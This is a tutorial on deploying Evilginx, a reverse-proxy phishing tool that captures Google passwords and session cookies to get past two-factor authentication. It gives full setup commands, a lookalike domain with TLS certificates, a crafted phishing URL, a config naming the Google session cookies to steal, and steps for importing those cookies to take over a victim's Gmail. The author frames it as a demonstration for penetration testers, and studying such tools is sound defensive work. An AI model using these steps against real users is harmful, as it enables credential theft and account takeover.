Evilginx - Advanced Phishing With Two-Factor Authentication Bypass
Evilginx - Advanced Phishing With Two-Factor Authentication Bypass
Evilginx - Advanced Phishing With Two-Factor Authentication Bypass
How it works
Evilginx Research
The core of Evilginx is the usage of Nginx HTTP proxy module. It allows
to pass clients' requests to another server. This basically allows Nginx
server to act as a man-in-the-middle agent, effectively intercepting all
requests from clients, modifying and forwarding them to another server.
Later, it intercepts server's responses, modifies them and forwads them
back to clients. This setup allows Evilginx to capture credentials sent
with POST request packets and upon successful sign-in, capture valid
session cookies sent back from the proxied server.
In order to prevent the visitor from being redirected to the real website, all
URLs with real website's domain, retrieved from the server, need to
replaced with Evilginx phishing domain. This is handled
by sub_filter module provided by Nginx.
Nginx implements its own logging mechanism, which will log every request
in detail, including POST body and also cookies: and set-
cookie: headers. I created a Python script
named evilginx_parser.py, that will parse the Nginx log and extract
credentials and session cookies, then save them in corresponding
directories, for easy management.
There is one big issue in Nginx's logging mechanism that almost
prevented Evilginx from being finished.
Take a look at the following Nginx configuration line that specifies the
format in which log entries should be created:
log_format foo '$remote_addr "$request" set_cookie=$sent_http_set_cookie';
Variable $sent_http_set_cookie stores a value of set-
cookie response header. These headers will contain session cookies
returned from the server on successful authorization and they have to
be included in the output of Nginx's access log.
Issue is, HTTP servers return cookies in multiple set-cookie headers
like so:
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Set-Cookie: JSESSIONID=this_is_the_first_cookie; path=/; secure; HttpOnly
Set-Cookie: APPID=this_is_the_second_cookie; path=/;
Set-Cookie: NSAL33TTRACKER=this_is_the_third_cookie; path=/;
Server: nginx
Connection: close
For some reason Nginx's $sent_http_set_cookie variable doesn't
store set-cookie header values as an array. Instead it stores only the
value of the first seen set-cookie header, which in our example would
be JSESSIONID=this_is_the_first_cookie; path=/; secure;
HttpOnly. This is a huge problem, as it allows to log only one cookie and
forget the rest. While searching the internet for possible solutions, I came
across posts from 2011 about the same issue, reported by hopeless
sysadmins and developers. I was positive that Nginx itself did not have any
workaround.
I had two options:
1.Modifying Nginx source code and fixing the issue myself.
2.Developing a custom Nginx module that would allow for better
packet parsing.
After a while, I knew neither of the two options were viable. They would
have required me to spend huge amount of time, understanding the
internals of Nginx. Neither did I want to do it or did I have that amount of
time to spend on a side project.
Thankfully, I came across some interesting posts about using LUA scripting
language in Nginx configuration files. I learned it was OpenResty Nginx
modification, which allowed to put small scripts into site configuration files
to handle packet parsing and data output.
OpenResty website describes itself as such:
OpenResty® is a full-fledged web platform that integrates the
standard Nginx core, LuaJIT, many carefully written Lua libraries,
lots of high quality 3rd-party Nginx modules, and most of their
external dependencies. It is designed to help developers easily
build scalable web applications, web services, and dynamic web
gateways.
I found out that by using LUA scripting, it was possible to access set-
cookie headers as an array.
Here is an example function that returns all set-cookie header values as
an array:
function get_cookies()
local cookies = ngx.header.set_cookie or {}
if type(cookies) == "string" then
cookies = {cookies}
end
return cookies
end
The big issue with logging cookies was resolved and the best part of it was,
LUA scripting allowed much more in terms of packet modification, which
wasn't allowed by vanilla Nginx, e.g. modification of response packet
headers.
The rest of development followed swiftly. I will explain more interesting
aspects of the tool as I go, while I guide you on how to install and set up
everything from scratch.
Nginx is now installed, but it currently won't start at boot or keep running
in the background. We need to create our own systemd daemon service
rules:
cat <<EOF > /etc/systemd/system/nginx.service
[Unit]
Description=The NGINX HTTP and reverse proxy server
After=syslog.target network.target remote-fs.target nss-lookup.target
[Service]
Type=forking
PIDFile=/run/nginx.pid
ExecStartPre=/usr/sbin/nginx -t
ExecStart=/usr/sbin/nginx
ExecReload=/bin/kill -s HUP $MAINPID
ExecStop=/bin/kill -s QUIT $MAINPID
PrivateTmp=true
[Install]
WantedBy=multi-user.target
EOF
Before we launch our service for the first time, we have to properly
configure Nginx.
Nginx configuration
include /etc/nginx/sites-enabled/*;
...
}
Nginx, from now on, will look for our site configurations
in /etc/nginx/sites-enabled/ directory, where we will be putting
symbolic links of files residing in /etc/nginx/sites-
available/ directory. Let's create both directories:
mkdir /etc/nginx/sites-available/ /etc/nginx/sites-enabled/
We need to set up our phishing site configuration for Nginx. We will use
the site configuration for phishing Google users, that is included
with Evilginx package. Easiest way to be up-to-date is to clone Evilginx
GitHub repository.
apt-get -y install git
cd ~
mkdir tools
cd tools
git clone https://github.com/kgretzky/evilginx
cd evilginx
Now copy Evilginx's site configuration template to /etc/nginx/sites-
available/ directory. We will also replace all occurences
of {{PHISH_DOMAIN}} in the template file with the name of the domain
we registered, which in our case is notreallygoogle.com. When it's done,
create a symbolic link to our new site configuration file
in /etc/nginx/sites-enabled/ directory:
cp ./sites/evilginx-google-template.conf /etc/nginx/sites-available/evilginx-
google.conf
sed -i 's/{{PHISH_DOMAIN}}/notreallygoogle.com/g' /etc/nginx/sites-
available/evilginx-google.conf
ln -s /etc/nginx/sites-available/evilginx-google.conf /etc/nginx/sites-enabled/
We are almost ready. One remaining step is to install our SSL/TLS
certificate to make Evilginx phishing site look legitimate and secure. We
will use LetsEncrypt free SSL/TLS certificate for this purpose.
Installing SSL/TLS certificates
EFF has released an incredibly easy to use tool for obtaining valid SSL/TLS
certificates from LetsEncrypt. It's called Certbot and we will use it right
now.
Open your /etc/apt/sources.list file and add the following line:
deb http://ftp.debian.org/debian jessie-backports main
Now install Certbot:
apt-get update
apt-get install certbot -t jessie-backports
If all went well, we should be able to obtain our certificates now. Make sure
Nginx is not running, as Certbot will need to open HTTP ports for
LetsEncrypt to verify ownership of our server. Enter the following
command and proceed through prompts:
certbot certonly --standalone -d notreallygoogle.com -d
accounts.notreallygoogle.com
On success, our private key and public certificate chain should find its
place
in /etc/letsencrypt/live/notreallygoogle.com/ directory. Evil
ginx's site configuration already includes a setting to use SSL/TLS
certificates from this directory.
Please note, that LetsEncrypt certificates are valid for 90 days, so if you
plan to use your server for more than 3 months, you can add certbot
renew command to your /etc/crontab and have it run every day. This
will make sure your SSL/TLS certificate is renewed when its bound to
expire in 30 days or less.
Starting up
Everything is ready for launch. Make sure your Nginx daemon is enabled
and start it:
systemctl enable nginx
systemctl start nginx
Check if Nginx started properly with systemctl status nginx and
make sure that both ports 80 and 443 are now opened by the Nginx
process, by checking output of netstat -tunalp.
If anything went wrong, try to retrace your steps and see if you did
everything properly. Do not hesitate to report issues in the comments
section below or even better, file an issue on GitHub.
In order to create your phishing URL, you need to supply two parameters:
1.rc = On successful sign-in, victim will be redirected to this link
e.g. document hosted on Google Drive.
2.rt = This is the name of the session cookie which is set in the
browser only after successful sign-in. If this cookie is detected,
this will be an indication for Evilginx that sign-in was successful
and the victim can be redirected to URL supplied by rc parameter.
Let's say we want to redirect the phished victim to rick'roll video on
Youtube and we know for sure that Google's session cookie name is LSID.
The URL should look like this:
https://accounts.notreallygoogle.com/ServiceLogin?rc=https://www.youtube.com/watch?
v=dQw4w9WgXcQ&rt=LSID
Try it out and see if it works for your own account.
Capturing credentials and session cookies
optional arguments:
-h, --help show this help message and exit
-i INPUT, --input INPUT
Input log file to parse.
-o OUTDIR, --outdir OUTDIR
Directory where output files will be saved.
-c CREDS, --creds CREDS
Credentials configuration file.
-x, --truncate Truncate log file after parsing.
All arguments should be self-explainatory apart maybe from --
creds and --truncate. Argument --creds specifies the input config
file, which provides info for the script, what kind of data we want to extract
from the log file.
Creds config file google.creds, made for Google, looks like this:
[creds]
email_arg=Email
passwd_arg=Passwd
tokens=[{"domain":".google.com","cookies":["SID", "HSID", "SSID", "APISID",
"SAPISID", "NID"]},{"domain":"accounts.google.com","cookies":["GAPS", "LSID"]}]
Creds file provides information on sign-in form username and password
parameter names. It also specifies a list of cookie names that manage user's
session, with assigned domain names. These will be intercepted and
captured.
It is very easy to create your own .creds config files if you decide to
implement phishing of other services for Evilginx.
If you supply the -x/--truncate argument, the script will truncate the
log file after parsing it. This is useful if you want to automate the execution
of the parser to run every minute, using cron.
Example usage of the script:
# ./evilginx_parser.py -i /var/log/evilginx-google.log -o ./logs -c google.creds -x
That should put extracted credentials and cookies into ./logs directory.
Accounts are organized into separate directories, in which you will find
files containing login attempts and session cookies.
Session cookies are saved in JSON format, which is fully compatible
with EditThisCookie extension for Chrome. Just pick Import option in
extension's window and copy-paste the JSON data into it, to impersonate
the captured session.
Keep in mind that it is often best to clear all cookies from your browser
before importing.
After you've imported the intercepted session cookies, open Gmail for
example and you should be on the inside of the captured account.
Congratulations!
Conclusion
I need to stress out that Evilginx is not exploiting any vulnerability.
Google still does a terrific job at protecting its users from this kind of
threat. Because Evilginx acts as a proxy between the user and Google
servers, Google will recognize proxy server's IP as a client and not the
user's real IP address. As a result, user will still receive an alert that his
account was accessed from an unknown IP (especially if
the Evilginx server is hosted in a different country than phished user
resides in).
I released this tool as a demonstration of how far attackers can go in hunt
for your accounts and private data. If one was to fall for such ploy, not even
two-factor authentication would help.
If you are a penetration tester, feel free to use this tool in testing security
and threat awareness of your clients.
In the future, if the feedback is good, I plan to write a post going into
details on how to create your own Evilginx configuration files in order to
add support for phishing any website you want.
I am constantly looking for interesting projects to work on!